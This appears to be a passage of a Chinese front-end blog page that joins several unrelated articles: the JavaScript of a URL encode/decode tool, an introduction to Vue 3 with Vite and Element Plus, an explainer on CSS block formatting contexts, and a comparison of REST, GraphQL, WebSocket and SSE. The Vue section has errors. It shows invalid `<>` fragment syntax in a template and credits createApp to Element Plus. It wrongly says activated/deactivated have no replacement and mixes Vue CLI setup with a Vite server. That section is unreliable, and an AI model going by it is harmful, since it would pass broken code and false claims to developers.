const copyResult1 = async () =&gt; {
  if (!outputText1.value.trim()) {
    MessagePlugin.warning(t('urlEncodeDecode.noContent'))
    return
  }

  try {
    await navigator.clipboard.writeText(outputText1.value)
    MessagePlugin.success(t('urlEncodeDecode.copied'))
  } catch {
    const textarea = document.createElement('textarea')
    textarea.value = outputText1.value
    document.body.appendChild(textarea)
    textarea.select()
    document.execCommand('copy')
    document.body.removeChild(textarea)
    MessagePlugin.success(t('urlEncodeDecode.copied'))
  }
}

复制功能首先检查是否有内容可复制。然后优先使用现代浏览器的 navigator.clipboard API,这是目前推荐的方式。如果这个 API 不可用(比如在一些旧浏览器中),就会使用降级方案:创建一个临时的 textarea 元素,将内容设置进去,选中后执行 document.execCommand('copy') 命令,最后再移除这个临时元素。无论使用哪种方式,复制成功后都会给用户一个成功提示。

自动聚焦

为了提升用户体验,页面加载时会自动聚焦到输入框,用户可以直接开始输入:

onMounted(() =&gt; {
  if (process.client) {
    const input = document.querySelector('textarea')
    if (input) {
      input.focus()
    }
  }
})

这里使用了 Vue 的 onMounted 生命周期钩子,在组件挂载后执行。首先判断是否在客户端环境(因为 Nuxt.js 支持服务端渲染,服务端没有 DOM),然后找到 textarea 元素并调用 focus() 方法聚焦。

encodeURI 和 encodeURIComponent 的区别

这两个方法虽然都是用来编码 URL 的,但它们的使用场景不同:

  • encodeURI 主要用于编码完整的URL,不会编码URL中的特殊字符(如 :/?#[]@!$&amp;'()*+,;=),因为这些字符在 URL 中是有特殊含义的,需要保留。
  • encodeURIComponent 会编码所有字符,包括URL中的特殊字符,所以它更适合编码 URL 的参数部分,比如查询字符串的值。

相应的,解码时也需要使用对应的方法:decodeURI 对应 encodeURIdecodeURIComponent 对应 encodeURIComponent

以上就是URL编码/解码工具的核心JS实现。

vue3+vite+elementplus简单介绍

Vue是一个流行的框架,它能够提供如同翻转开关一样的快速响应和大量的帮助功能来实现更快更好的交互。随着Vue 3的推出,很多人看到了它的潜力。在 Vue 3 的生命周期里,Vue 结合了模板的优化,以及 v-model、生命周期钩子等细节做了很多改进,可以更好的适应更快的发展需求。而 Vite 作为一种开发环境,对于 Vue 来说是必不可少的工具之一。在目前的 Vue 3 中,Vite 的速度已经超越了 Webpack。

在Vue 3的生命周期里,我们还要提一下 Element Plus, Element Plus是一个基于Element UI的组件库,但是 Element Plus 比 Element UI 更为轻量级,更为简洁。Element Plus的目标是“提供优雅的组件”,并将组件使用进行了重构和优化。同时,它也为大量的开发者提供了一些非常有用的工具和组件。不出意外,Element Plus 很快就会成为 Vue 开发中的一大利器。

Vue、Vite和Element Plus三个工具的结合可以帮助我们更好的进行开发工作。在开发中,我们可以使用Vue来编写组件,使用Element Plus来提供样式和组件,同时使用Vite来启动本地开发服务器。这样的话,开发者可以更加专注于业务逻辑的实现,同时又可以减少很多不必要的麻烦。

安装配置

首先,我们需要保证我们安装了Node.js和npm包管理器。然后,在命令行中输入以下命令来安装Vue CLI和Vite:

npm install -g @vue/cli
npm install -g vite

接着,我们可以使用如下命令来创建一个Vue 3项目:

# 使用Vue CLI创建项目
vue create my-project

cd my-project

# 安装Element Plus
npm install element-plus

创建完项目并安装好Element Plus之后,在项目根目录下运行以下命令启动Vite开发服务器:

npm install
npm run dev

这时候我们在浏览器中输入 http://localhost:3000 就能看到我们的项目页面了。

使用

在我们的Vue代码中,可以通过import引入Element Plus组件:

import { ElButton } from 'element-plus';

export default {
  components: {
    ElButton,
  },
}

然后就可以在模板中使用<el-button>标签来使用Element Plus提供的按钮组件了:

<template>
  <div>
    <el-button>点击我</el-button>
  </div> 
</template>

除了组件,Element Plus还提供了一些非常实用的工具函数,例如 message 和 notification。我们可以通过如下方式来引入和使用它们:

import { createApp } from 'vue';
import ElementPlus from 'element-plus';
import 'element-plus/lib/theme-chalk/index.css';

import App from './App.vue';

const app = createApp(App);

app.use(ElementPlus);

app.mount('#app');

在这个例子中,我们使用了 Element Plus 提供的 createApp 函数创建了我们的 Vue 实例,然后通过 use 方法将 Element Plus 安装到我们的应用程序中。最后的 mount 方法指定了我们组件的挂载点。

当然,在使用 Element Plus 的过程中,我们可能会遇到一些需要调试的问题,这时候我们可以使用 Vue Devtools 来进行调试。如果还遇到一些其他的问题,可以查看 Element Plus 的官方文档或者在社区中寻求帮助。

生命周期的不同

Vue 3 中与 Vue 2 生命周期相比,有以下变化:
beforeCreate 和 created 生命周期钩子函数的替代品是 setup 函数。在 Vue 3 中,大部分的组件逻辑都可以在 setup 函数中编写,包括组件的数据、计算属性、方法和生命周期函数等。
beforeMount 和 mounted 生命周期钩子函数的替代品是 onBeforeMount 和 onMounted 函数。
beforeUpdate 和 updated 生命周期钩子函数的替代品是 onBeforeUpdate 和 onUpdated 函数。
activated 和 deactivated 生命周期钩子函数不再有了替代品,这两个生命周期函数只在 keep-alive 组件中使用。
beforeDestroy 和 destroyed 生命周期钩子函数的替代品是 onBeforeUnmount 和 onUnmounted 函数。
errorCaptured 生命周期钩子函数的替代品是 onErrorCaptured 函数。
beforeRouteEnter、beforeRouteUpdate 和 beforeRouteLeave 生命周期钩子函数依赖于 Vue Router 的版本。在 v4 中,这些生命周期函数的替代品是 beforeRouteEnter 和 beforeRouteLeave 钩子函数。

关于VUE3一些知识点

Composition API

Composition API 允许我们按逻辑组织代码。它通过一组函数、ref、expose 等方法来管理组件内状态和行为。

例如,我们可以使用 reactive() 函数创建响应式对象:

import { reactive } from 'vue'

export default {
  setup() {
    const state = reactive({
      count: 0,
      increment() {
        state.count++
      }
    })

    return {
      state
    }
  }
}

在上面的例子中,我们使用 reactive() 函数来创建响应式对象 state。我们可以在 state 对象中使用 count 属性并将其绑定到模板中的一个元素上,以实现响应式更新。

Teleport

Teleport 允许我们在 DOM 树中的不同位置传输组件。它可以很容易地实现模态框、菜单等 UI 组件。

例如:

<template>
  <button @click="showModal = true">Show Modal</button>
  <teleport to="body">
    <div v-if="showModal" class="modal">
      <h2>Modal</h2>
      <button @click="showModal = false">Close Modal</button>
    </div>
  </teleport>
</template>

在上面的例子中,我们使用了 Teleport 组件将 modal 放置在了页面的 body 元素下。这样不仅可以避免组件层次过深,而且可以按照需要进行灵活布局。

Fragments

Fragment 允许我们在模板中使用多个根元素,并显式地声明根元素。

例如:

<template>
  <div>
    <h1>Hello, Vue 3!</h1>
    <ul>
      <li v-for="item in items" :key="item.id">{{ item.name }}</li>
    </ul>
  </div>
</template>

在上面的例子中,我们使用了 div 元素来包裹 h1 和 ul 元素。使用 Fragments,可以简化这个模板:

<template>
  <>
    <h1>Hello, Vue 3!</h1>
    <ul>
      <li v-for="item in items" :key="item.id">{{ item.name }}</li>
    </ul>
  </>
</template>

在上面的例子中,我们使用了 Fragment,以便可以在不使用 div 元素的情况下包含多个根元素。

Optimized Re-rendering

在 Vue 2 中,每个组件更新时都会重新渲染整个组件,这在大型应用程序中可能会导致性能问题。Vue 3 引入了许多优化,以提高性能。

例如,在 Vue 3 中,只有在被更改的数据上才进行更新,而在不变更的数据、方法和计算属性上则不会发生更新。

原文链接:vue3+vite+elementplus简单介绍

BFC布局

在前端开发的历史长河中,CSS 布局一直是重难点。很多初学者甚至有经验的开发者,在面对“父元素高度塌陷”、“外边距合并”或是“文字环绕”等问题时,往往通过死记硬背 overflow: hidden 或 clearfix 来解决,却知其然不知其所以然。

这一切背后的核心机制,就是 BFC(Block Formatting Context,块级格式化上下文) 。本文将从浏览器渲染机制的角度,带你彻底理解这一概念。

一、引言:从“消失的背景”说起

我们先来看一个经典的 CSS 布局“Bug”。

现象复现

我们构建一个父容器 .container(绿色背景)和一个子元素 .box(红色背景,左浮动)。

Html

<div class="container">
  <div class="box"></div>
</div>

CSS

.container {
  background-color: green;
  /* 此时未设置高度,期望由子元素撑开 */
}

.box {
  width: 100px;
  height: 100px;
  background-color: red;
  float: left; /* 子元素浮动 */
}

运行结果:  绿色背景消失了。父容器的高度变成了 0。

原理解析

这是典型的 父元素高度塌陷
原因在于 CSS 的 文档流(Normal Flow)  机制。当元素设置了 float 属性后,它会 脱离文档流。对于父容器而言,在计算自身高度时,默认只计算文档流内的元素。由于 .box 已经“漂”在了上面,父容器认为自己内部是空的,因此高度为 0。

要解决这个问题,我们需要强制父容器在计算高度时,将浮动元素也包含在内。这正是 BFC 的核心能力之一。

二、深度解析:什么是 BFC

BFC (Block Formatting Context) ,直译为“块级格式化上下文”。

不要被这个学术名词吓到。从渲染引擎的角度来看,BFC 就是一个 独立的、隔离的渲染区域

你可以将其理解为一个个封闭的“箱子”或“结界”。在这个箱子里,有一套属于自己的布局规则。

BFC 的核心渲染规则

  1. 内部隔离:BFC 内部的元素布局不会影响到外部的元素,反之亦然。
  2. 高度计算:计算 BFC 的高度时,浮动元素也参与计算(解决高度塌陷的核心)。
  3. 布局互斥:BFC 的区域不会与 float 盒子重叠(两栏布局的核心)。
  4. 垂直排列:内部的 Box 会在垂直方向,一个接一个地放置。
  5. Margin 合并:属于同一个 BFC 的两个相邻 Box 的垂直 Margin 会发生重叠。

如何触发 BFC(召唤结界)

BFC 不是一个可以直接设置的属性(例如没有 bf-context: true),而是通过特定的 CSS 属性隐式触发的。

以下是常见的触发方式及其副作用对比:

触发方式 属性值 副作用评估 推荐指数
现代标准 display: flow-root 无副作用。这是 CSS3 专门为触发 BFC 设计的属性。 ⭐⭐⭐⭐⭐
常用方案 overflow: hidden / auto 内容溢出时会被裁剪或出现滚动条。 ⭐⭐⭐⭐
布局方案 display: flex / grid 改变了子元素的布局模式(从块级变为弹性/网格项)。 ⭐⭐⭐
定位方案 position: absolute / fixed 元素脱离文档流,宽度可能坍塌。 ⭐⭐
浮动方案 float: left / right 元素脱离文档流,影响后续兄弟元素。 ⭐⭐

注意:  很多资料会提到 position: absolute 会触发 BFC。确实如此,但请注意,BFC 仅处理文档流和浮动流的布局关系。BFC 本身并不会成为绝对定位元素的包含块(Containing Block) ,除非该元素同时设置了 position: relative/absolute。

三、实战演练:BFC 能解决什么问题

1. 清除浮动(解决高度塌陷)

场景:如引言所述,父元素高度为 0。
原理:利用 BFC 规则—— “计算 BFC 的高度时,浮动元素也参与计算”

CSS

.container {
  background-color: green;
  /* 触发 BFC */
  display: flow-root; 
  /* 或者使用兼容性更好的 overflow: hidden; */
}

.box {
  float: left;
  width: 100px;
  height: 100px;
  background-color: red;
}

结果:父容器高度被撑开,绿色背景正常显示。


2. 防止 Margin 重叠(外边距合并)

场景:两个相邻的 div,上一个 margin-bottom: 20px,下一个 margin-top: 20px。
现象:实际间距是 20px,而不是 40px。这是 CSS 的默认行为(Margin Collapse)。

原理:利用 BFC 规则—— “BFC 就是一个隔离容器” 。只有属于 同一个 BFC 的子元素才会发生 Margin 合并。如果我们让其中一个元素处于 另一个 BFC 中,合并就会被阻断。

Html

<div class="box">Box 1</div>

<!-- 创建一个 BFC 容器包裹 Box 2 -->
<div class="bfc-wrapper">
  <div class="box">Box 2</div>
</div>

CSS

.box {
  margin: 20px 0;
  height: 50px;
  background: blue;
}

.bfc-wrapper {
  /* 触发 BFC,形成隔离墙 */
  display: flow-root; 
}

结果:两个盒子之间的间距变为 40px。


3. 自适应两栏布局(防止文字环绕)

场景:左侧固定宽度浮动,右侧不设宽度(自适应)。
现象:如果不处理,右侧的文字会环绕在左侧浮动元素的下方(像报纸排版一样)。虽然这是 float 设计的初衷,但在布局应用中通常是不被希望的。

原理:利用 BFC 规则—— “BFC 的区域不会与 float 盒子重叠” 。当右侧元素触发 BFC 后,它会像一堵墙一样,把自己限制在浮动元素的旁边,不再“钻”到浮动元素底下。

Html

<div class="layout">
  <div class="sidebar">左侧浮动</div>
  <div class="main">右侧内容区(自适应)</div>
</div>

CSS

.sidebar {
  float: left;
  width: 200px;
  background: lightblue;
  height: 300px;
}

.main {
  /* 关键点:触发 BFC */
  display: flow-root; 
  /* 若不触发 BFC,main 的内容会环绕 sidebar,且背景色会延伸到 sidebar 下方 */
  
  background: lightcoral;
  height: 400px;
}

结果:.main 区域会自动计算剩余宽度,且与 .sidebar 泾渭分明,形成标准的左右两栏布局。

四、面试指北:满分回答模版

面试官提问:“请说说你对 BFC 的理解,它有什么用,怎么触发?”

参考回答:

1. 定义核心:
BFC 全称是块级格式化上下文。从原理上讲,它是一个独立的渲染区域或隔离容器。BFC 内部的布局规则是独立的,内部元素再怎么变化也不会影响到外部的元素,反之亦然。

2. 触发方式:
触发 BFC 的方式有很多,最现代且无副作用的方式是使用 display: flow-root。
在旧项目中,最常用的是 overflow: hidden(前提是内容不需要溢出)。
此外,设置 float 不为 none,position 为 absolute/fixed,或者 display 为 flex/inline-block 等也能触发,但会带来改变元素定位或显示模式的副作用。

3. 核心应用场景:
我在实际开发中主要用它解决三个问题:

  • 清除浮动:因为 BFC 在计算高度时会包含浮动元素,可以解决父元素高度塌陷的问题。
  • 布局隔离:BFC 区域不会与浮动盒子重叠,常用于实现“左侧固定、右侧自适应”的两栏布局,防止文字环绕。
  • 解决外边距合并:通过将元素包裹在不同的 BFC 中,可以阻止垂直外边距(Margin)的合并。

别再死记优缺点了:聊聊 REST、GraphQL、WebSocket 的使用场景

你让 AI 帮你设计一个聊天应用的后端接口,它给你推荐了 GraphQL + WebSocket。你看着文档,心想:真的需要这么复杂吗?普通的 REST 不行吗?

技术选型时最容易陷入"别人都在用"的误区。我们习惯记忆"优缺点",却很容易忽视其背后的设计思想。这篇文章是我试图理解"每种方案到底解决了什么问题"的思考过程,试图分析我们应该"如何选择"。

从一个简单需求开始:获取用户信息

最简单的场景

需求:前端需要显示用户的基本信息。

// Expected data
{
  "name": "Zhang San",
  "avatar": "https://...",
  "email": "zhangsan@example.com"
}

方案1:REST API

// Environment: Browser
// Scenario: Basic data fetching

// Request
fetch('https://api.example.com/users/123')
  .then(res => res.json())
  .then(data => {
    console.log(data);
    // { id: 123, name: 'Zhang San', avatar: '...', email: '...' }
  });

// Backend design (pseudo code)
app.get('/users/:id', (req, res) => {
  const user = db.getUser(req.params.id);
  res.json(user);
});

这里就够了吗?

对于简单场景:完全够用 ✅

  • 清晰、直观、易于理解
  • 符合 HTTP 语义(GET 获取资源)

思考点

  • 如果需求开始变复杂呢?
  • 如果前端只需要用户名,不需要邮箱呢?
  • 如果需要实时更新用户状态呢?

REST:理解"无状态"的设计

REST 的核心思想

REST 不是一个协议,而是一种架构风格。

核心约束:

  • 客户端-服务器分离
  • 无状态(Stateless)← 最重要
  • 可缓存
  • 统一接口
  • 分层系统

为什么要"无状态"?

"无状态"意味着什么?让我先对比两种设计:

// Environment: Backend
// Scenario: Stateful design (session-based)

// Request 1
POST /login
{ username: 'zhangsan', password: '123456' }
// Response: Set session, return session_id

// Request 2
GET /profile
// Header includes session_id
// Server reads user info from session

// Problem: Server needs to "remember" user login state
// Environment: Backend
// Scenario: Stateless design (token-based)

// Request 1
POST /login
{ username: 'zhangsan', password: '123456' }
// Response: Return JWT token

// Request 2
GET /profile
// Header includes token (contains user info)
// Server parses token, no need to query session

// Advantage: Server doesn't need to "remember" anything

无状态的好处

用个类比:你去便利店买东西。

有状态的便利店(Session)

  • 店员记住了你昨天买了什么
  • 你今天再来,店员说"还是老样子吗?"
  • 问题:店员离职了怎么办?店员记不住太多人怎么办?

无状态的便利店(Token)

  • 每次你都要重新说要买什么
  • 看起来麻烦,但任何一个店员都能服务你
  • 优势:换店员、开分店都没问题

技术上的好处

  • ✅ 水平扩展容易:加服务器不需要同步 session
  • ✅ 容错性好:一台服务器挂了不影响其他
  • ✅ 可缓存:相同请求返回相同结果

REST 的典型场景

✅ 适合 REST 的场景

// Environment: Backend API
// Scenario: Standard CRUD operations

GET    /users       // Get user list
GET    /users/123   // Get single user
POST   /users       // Create user
PUT    /users/123   // Update user
DELETE /users/123   // Delete user

// Scenario: Clear resource relationships
GET /users/123/posts      // Posts of a user
GET /posts/456/comments   // Comments of a post

特点分析:

  • 操作对象是"资源"(users、posts)
  • 动作用 HTTP 方法表示(GET、POST、PUT、DELETE)
  • URL 语义化,易于理解

❌ REST 开始不够用的场景

问题1:Over-fetching(获取了不需要的数据)

// Environment: Browser
// Scenario: Frontend only needs name and avatar

fetch('/users/123')
  .then(res => res.json())
  .then(data => {
    // But returns complete user info
    console.log(data);
    // {
    //   id: 123,
    //   name: 'Zhang San',
    //   avatar: '...',
    //   email: '...',        // Don't need
    //   phone: '...',        // Don't need
    //   address: '...',      // Don't need
    //   bio: '...',          // Don't need
    //   createdAt: '...',    // Don't need
    // }
  });

问题2:Under-fetching(需要多次请求)

// Environment: Browser
// Scenario: Display post + author + comments

// Approach 1: Multiple requests (N+1 problem)
const post = await fetch('/posts/456').then(r => r.json());
const author = await fetch(`/users/${post.authorId}`).then(r => r.json());
const comments = await fetch('/posts/456/comments').then(r => r.json());

// Problem: 3 network requests, slow!

// Approach 2: Backend provides combined endpoint
fetch('/posts/456?include=author,comments')

// Problem: Backend needs to write endpoints for every combination

问题3:接口版本管理

// Environment: Backend API
// Scenario: API versioning

// v1: Basic info
GET /v1/users/123
// { id, name, email }

// v2: Added new fields
GET /v2/users/123
// { id, name, email, avatar, bio }

// Problems:
// - Maintain multiple versions
// - Client needs to know which version to use
// - When to deprecate old versions?

AI 对 REST 的理解

AI 友好度:⭐⭐⭐⭐⭐

  • ✅ AI 非常擅长生成 REST API
  • ✅ 模式简单、规范清晰
  • ✅ 大量训练数据

但 AI 可能忽略的:

  • ⚠️ 复杂的查询需求(筛选、排序、分页)
  • ⚠️ 接口粒度设计(太细 vs 太粗)
  • ⚠️ 缓存策略

REST 的最佳实践

// Environment: Backend API
// Scenario: Good REST API design

// ✅ Use plural nouns
GET /users      // Not /user

// ✅ Use nesting for relationships
GET /users/123/posts

// ✅ Use query params for filtering
GET /posts?status=published&sort=createdAt&limit=10

// ✅ Use HTTP status codes
200 OK          // Success
201 Created     // Creation success
400 Bad Request // Client error
404 Not Found   // Resource not found
500 Server Error// Server error

// ✅ Return consistent error format
{
  "error": {
    "code": "USER_NOT_FOUND",
    "message": "User with id 123 not found"
  }
}

小结

  • REST 简单、直观、易于理解
  • 适合标准的 CRUD 操作
  • 当需求变复杂时(组合查询、自定义字段),REST 开始力不从心

GraphQL:解决 REST 的痛点

GraphQL 的核心思想

GraphQL 不是 REST 的替代品,而是不同的思路。

核心理念:

  • 客户端精确描述需要什么数据
  • 服务端按需返回,不多不少

解决 Over-fetching 和 Under-fetching

场景:显示文章详情页

// Environment: Browser + REST
// Scenario: Multiple requests needed

// Problem 1: Over-fetching
const post = await fetch('/posts/456').then(r => r.json());
// Returns all fields of post, but only need title and content

// Problem 2: Under-fetching (multiple requests)
const author = await fetch(`/users/${post.authorId}`).then(r => r.json());
const comments = await fetch('/posts/456/comments').then(r => r.json());
// Environment: Browser + GraphQL
// Scenario: Single request for exact data needed

const query = `
  query {
    post(id: 456) {
      title
      content
      author {
        name
        avatar
      }
      comments {
        content
        author {
          name
        }
      }
    }
  }
`;

fetch('https://api.example.com/graphql', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ query })
})
  .then(res => res.json())
  .then(data => {
    console.log(data);
    // {
    //   post: {
    //     title: '...',
    //     content: '...',
    //     author: { name: '...', avatar: '...' },
    //     comments: [
    //       { content: '...', author: { name: '...' } }
    //     ]
    //   }
    // }
  });

GraphQL 的优势

  • ✅ 一次请求获取所有需要的数据
  • ✅ 精确控制返回的字段
  • ✅ 强类型系统(schema 定义数据结构)
  • ✅ 自动文档(从 schema 生成)

GraphQL 的代价

问题1:后端复杂度大增

// Environment: Backend
// Scenario: Complexity comparison

// REST: Simple and clear
app.get('/posts/:id', async (req, res) => {
  const post = await db.posts.findById(req.params.id);
  res.json(post);
});

// GraphQL: Need to define schema and resolvers
const typeDefs = `
  type Post {
    id: ID!
    title: String!
    content: String!
    author: User!
    comments: [Comment!]!
  }
  
  type User {
    id: ID!
    name: String!
    avatar: String
  }
  
  type Comment {
    id: ID!
    content: String!
    author: User!
  }
  
  type Query {
    post(id: ID!): Post
  }
`;

const resolvers = {
  Query: {
    post: (parent, { id }, context) => {
      return context.db.posts.findById(id);
    }
  },
  Post: {
    author: (post, args, context) => {
      return context.db.users.findById(post.authorId);
    },
    comments: (post, args, context) => {
      return context.db.comments.findByPostId(post.id);
    }
  },
  Comment: {
    author: (comment, args, context) => {
      return context.db.users.findById(comment.authorId);
    }
  }
};

// Need to setup Apollo Server or other GraphQL server

复杂度对比:

  • REST:写一个路由就行
  • GraphQL:需要定义类型、写 resolver、处理关联

问题2:N+1 查询问题

// Environment: Backend + GraphQL
// Scenario: N+1 query problem

const query = `
  query {
    posts {
      title
      author {
        name
      }
    }
  }
`;

// Without optimization, this causes:
// 1. Query all posts (1 database query)
// 2. For each post, query author (N database queries)

// Solution: DataLoader (batch loading + caching)
const DataLoader = require('dataloader');

const userLoader = new DataLoader(async (userIds) => {
  // Single query for all needed users
  const users = await db.users.findByIds(userIds);
  return userIds.map(id => users.find(u => u.id === id));
});

const resolvers = {
  Post: {
    author: (post, args, context) => {
      return context.userLoader.load(post.authorId);
    }
  }
};

问题3:缓存困难

// REST: URL is cache key
GET /posts/456
// Browser, CDN can easily cache

// GraphQL: All requests are POST to same endpoint
POST /graphql
body: { query: "..." }
// HTTP cache doesn't work! Need application-level caching

问题4:学习曲线陡峭

团队需要学习:

  • GraphQL 查询语法
  • Schema 定义
  • Resolver 编写
  • DataLoader 优化
  • Apollo Client / Relay

何时真正需要 GraphQL?

✅ 适合 GraphQL 的场景

  1. 移动端应用

    • 网络条件差,减少请求次数很重要
    • 不同设备需要不同粒度的数据
  2. 复杂的前端需求

    • 大量的组合查询
    • 频繁变化的数据需求
  3. 多客户端(Web、iOS、Android)

    • 每个客户端需要不同的数据子集
    • 不想为每个客户端写专门的接口
  4. BFF(Backend for Frontend)模式

    • GraphQL 作为中间层
    • 聚合多个微服务的数据

❌ 不需要 GraphQL 的场景

  1. 简单的 CRUD 应用

    • REST 已经够用
    • GraphQL 是 over-engineering
  2. 团队经验不足

    • 学习成本高
    • 容易出现性能问题
  3. 后端资源有限

    • GraphQL 对后端开发要求更高
    • 需要更多的优化工作

AI 对 GraphQL 的理解

AI 友好度:⭐⭐⭐

AI 擅长的

  • ✅ 生成基础的 schema 定义
  • ✅ 生成简单的 resolver
  • ✅ 生成客户端查询

AI 不擅长的

  • ❌ 复杂的 N+1 优化
  • ❌ 缓存策略设计
  • ❌ 性能调优
  • ❌ 安全性(查询深度限制、复杂度限制)

REST vs GraphQL 对比

维度 REST GraphQL
学习曲线
后端复杂度
请求次数
数据精确性 Over/Under-fetching 精确控制
缓存 HTTP 缓存 应用层缓存
工具支持 成熟 较新但完善
适用场景 标准 CRUD 复杂查询

小结

  • GraphQL 解决了 REST 的某些痛点
  • 但带来了新的复杂度
  • 不是"更好",而是"不同的权衡"

WebSocket:实时通信的需求

问题场景:聊天应用

需求:实现一个聊天室,用户发消息后,其他人能立即看到。

方案1:REST 轮询(Polling)

// Environment: Browser
// Scenario: Poll for new messages every 1 second

let lastMessageId = 0;

setInterval(() => {
  fetch('/messages?since=' + lastMessageId)
    .then(res => res.json())
    .then(messages => {
      if (messages.length > 0) {
        displayMessages(messages);
        lastMessageId = messages[messages.length - 1].id;
      }
    });
}, 1000);

// Problems:
// - Many useless requests (even when no new messages)
// - Delay up to 1 second (polling interval)
// - High server load

方案2:长轮询(Long Polling)

// Environment: Browser + Backend
// Scenario: Long polling

// Client
function longPoll() {
  fetch('/messages/poll')
    .then(res => res.json())
    .then(messages => {
      displayMessages(messages);
      longPoll(); // Immediately start next request
    });
}

// Server (pseudo code)
app.get('/messages/poll', async (req, res) => {
  // Hold connection, wait for new messages
  const messages = await waitForNewMessages(30000); // Wait max 30s
  res.json(messages);
});

// Improvements:
// ✅ Reduced useless requests
// ✅ Lower latency
// ❌ Still "pull" mode, not truly real-time

方案3:WebSocket

// Environment: Browser + WebSocket server
// Scenario: True bidirectional real-time communication

// Client
const ws = new WebSocket('wss://chat.example.com');

// Connection established
ws.onopen = () => {
  console.log('Connected');
};

// Receive messages
ws.onmessage = (event) => {
  const message = JSON.parse(event.data);
  displayMessage(message);
};

// Send message
function sendMessage(text) {
  ws.send(JSON.stringify({
    type: 'message',
    content: text
  }));
}

// Connection closed
ws.onclose = () => {
  console.log('Disconnected');
  // Reconnect logic
  setTimeout(() => {
    reconnect();
  }, 1000);
};

// Server (Node.js + ws)
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 8080 });

const clients = new Set();

wss.on('connection', (ws) => {
  clients.add(ws);
  
  ws.on('message', (data) => {
    const message = JSON.parse(data);
    
    // Broadcast to all clients
    clients.forEach(client => {
      if (client.readyState === WebSocket.OPEN) {
        client.send(JSON.stringify(message));
      }
    });
  });
  
  ws.on('close', () => {
    clients.delete(ws);
  });
});

WebSocket 的优势

  • ✅ 真正的双向通信(服务器可主动推送)
  • ✅ 低延迟(毫秒级)
  • ✅ 低开销(保持连接,不需要重复 HTTP 握手)
  • ✅ 高效(二进制传输可选)

WebSocket 的代价

问题1:连接管理复杂

// Environment: Browser
// Scenario: Robust WebSocket connection management

class WebSocketManager {
  constructor(url) {
    this.url = url;
    this.ws = null;
    this.reconnectDelay = 1000;
    this.maxReconnectDelay = 30000;
    this.heartbeatInterval = null;
  }
  
  connect() {
    this.ws = new WebSocket(this.url);
    
    this.ws.onopen = () => {
      console.log('Connected');
      this.reconnectDelay = 1000;
      this.startHeartbeat();
    };
    
    this.ws.onclose = () => {
      console.log('Disconnected');
      this.stopHeartbeat();
      this.reconnect();
    };
    
    this.ws.onerror = (error) => {
      console.error('Error:', error);
    };
  }
  
  reconnect() {
    setTimeout(() => {
      console.log('Reconnecting...');
      this.connect();
      // Exponential backoff
      this.reconnectDelay = Math.min(
        this.reconnectDelay * 2,
        this.maxReconnectDelay
      );
    }, this.reconnectDelay);
  }
  
  startHeartbeat() {
    this.heartbeatInterval = setInterval(() => {
      if (this.ws.readyState === WebSocket.OPEN) {
        this.ws.send(JSON.stringify({ type: 'ping' }));
      }
    }, 30000); // Send heartbeat every 30s
  }
  
  stopHeartbeat() {
    if (this.heartbeatInterval) {
      clearInterval(this.heartbeatInterval);
    }
  }
}

问题2:服务器资源消耗

REST:
- Request → Response → Connection closed
- Stateless, easy to scale horizontally

WebSocket:
- Each client maintains a long connection
- 10000 users = 10000 connections
- High memory, file descriptor consumption
- Need load balancing (sticky session)

问题3:兼容性和回退

// Environment: Backend
// Scenario: Fallback mechanism

// Need to consider:
// - Old browsers don't support WebSocket
// - Some networks don't allow WebSocket
// - Need fallback (long polling)

// Use Socket.IO for automatic handling
const io = require('socket.io')(server);

io.on('connection', (socket) => {
  // Socket.IO automatically chooses:
  // 1. WebSocket (preferred)
  // 2. Long Polling (fallback)
});

SSE:WebSocket 的轻量替代

Server-Sent Events(SSE):服务器单向推送

// Environment: Browser + SSE
// Scenario: Server pushes real-time data (e.g., stock prices)

// Client
const eventSource = new EventSource('https://api.example.com/stock-prices');

eventSource.onmessage = (event) => {
  const data = JSON.parse(event.data);
  updateStockPrice(data);
};

eventSource.onerror = () => {
  console.error('Connection error');
  eventSource.close();
};

// Server (Node.js)
app.get('/stock-prices', (req, res) => {
  res.setHeader('Content-Type', 'text/event-stream');
  res.setHeader('Cache-Control', 'no-cache');
  res.setHeader('Connection', 'keep-alive');
  
  // Push every second
  const interval = setInterval(() => {
    const price = getLatestPrice();
    res.write(`data: ${JSON.stringify(price)}\n\n`);
  }, 1000);
  
  req.on('close', () => {
    clearInterval(interval);
  });
});

SSE vs WebSocket

特性 SSE WebSocket
方向 单向(服务器 → 客户端) 双向
协议 HTTP WebSocket 协议
自动重连 浏览器自动 需要手动实现
浏览器支持 IE 不支持 现代浏览器都支持
复杂度
适用场景 服务器推送 双向通信

何时选择什么?

REST(最常见)

  • ✅ 标准的 CRUD 操作
  • ✅ 不需要实时性

GraphQL

  • ✅ 复杂的数据查询
  • ✅ 多客户端,需求各异

SSE

  • ✅ 服务器单向推送(股票、通知)
  • ✅ 自动重连很重要

WebSocket

  • ✅ 双向实时通信(聊天、协作编辑)
  • ✅ 高频数据交换(游戏、实时绘图)

AI 对实时通信的理解

AI 友好度

  • WebSocket:⭐⭐⭐
  • SSE:⭐⭐⭐⭐

AI 擅长的

  • ✅ 生成基础的 WebSocket 客户端代码
  • ✅ 生成简单的服务器端代码
  • ✅ SSE 的实现(更简单)

AI 不擅长的

  • ❌ 断线重连逻辑
  • ❌ 心跳保活
  • ❌ 负载均衡配置
  • ❌ 大规模部署的优化

综合对比与决策

核心权衡维度

维度1:请求模式

  1. Pull(拉):客户端主动请求

    • REST、GraphQL
    • 优势:简单、可缓存
    • 劣势:无法主动通知
  2. Push(推):服务器主动推送

    • WebSocket、SSE
    • 优势:实时性好
    • 劣势:连接管理复杂

维度2:数据粒度

  1. 粗粒度(固定结构):

    • REST
    • 优势:简单、可预测
    • 劣势:可能 over-fetching
  2. 细粒度(自定义):

    • GraphQL
    • 优势:精确控制
    • 劣势:复杂度高

维度3:连接成本

  1. 短连接(HTTP):

    • REST、GraphQL
    • 每次请求建立连接
    • 适合低频交互
  2. 长连接:

    • WebSocket
    • 保持连接
    • 适合高频交互

决策树

graph TD
    A[选择数据传输方式] --> B{需要实时性?}
    
    B --> |需要| C{双向通信?}
    C --> |是| D[WebSocket]
    C --> |否| E[SSE]
    
    B --> |不需要| F{数据查询复杂?}
    
    F --> |复杂| G{多客户端?}
    G --> |是| H[GraphQL]
    G --> |否| I{团队经验?}
    I --> |GraphQL 经验| H
    I --> |REST 经验| J[REST + 定制接口]
    
    F --> |简单 CRUD| J[REST]
    
    style J fill:#d4edff
    style H fill:#fff4cc
    style D fill:#ffe0e0
    style E fill:#e1f5dd

实际项目的组合使用

案例1:电商网站

  • REST:商品列表、购物车、订单
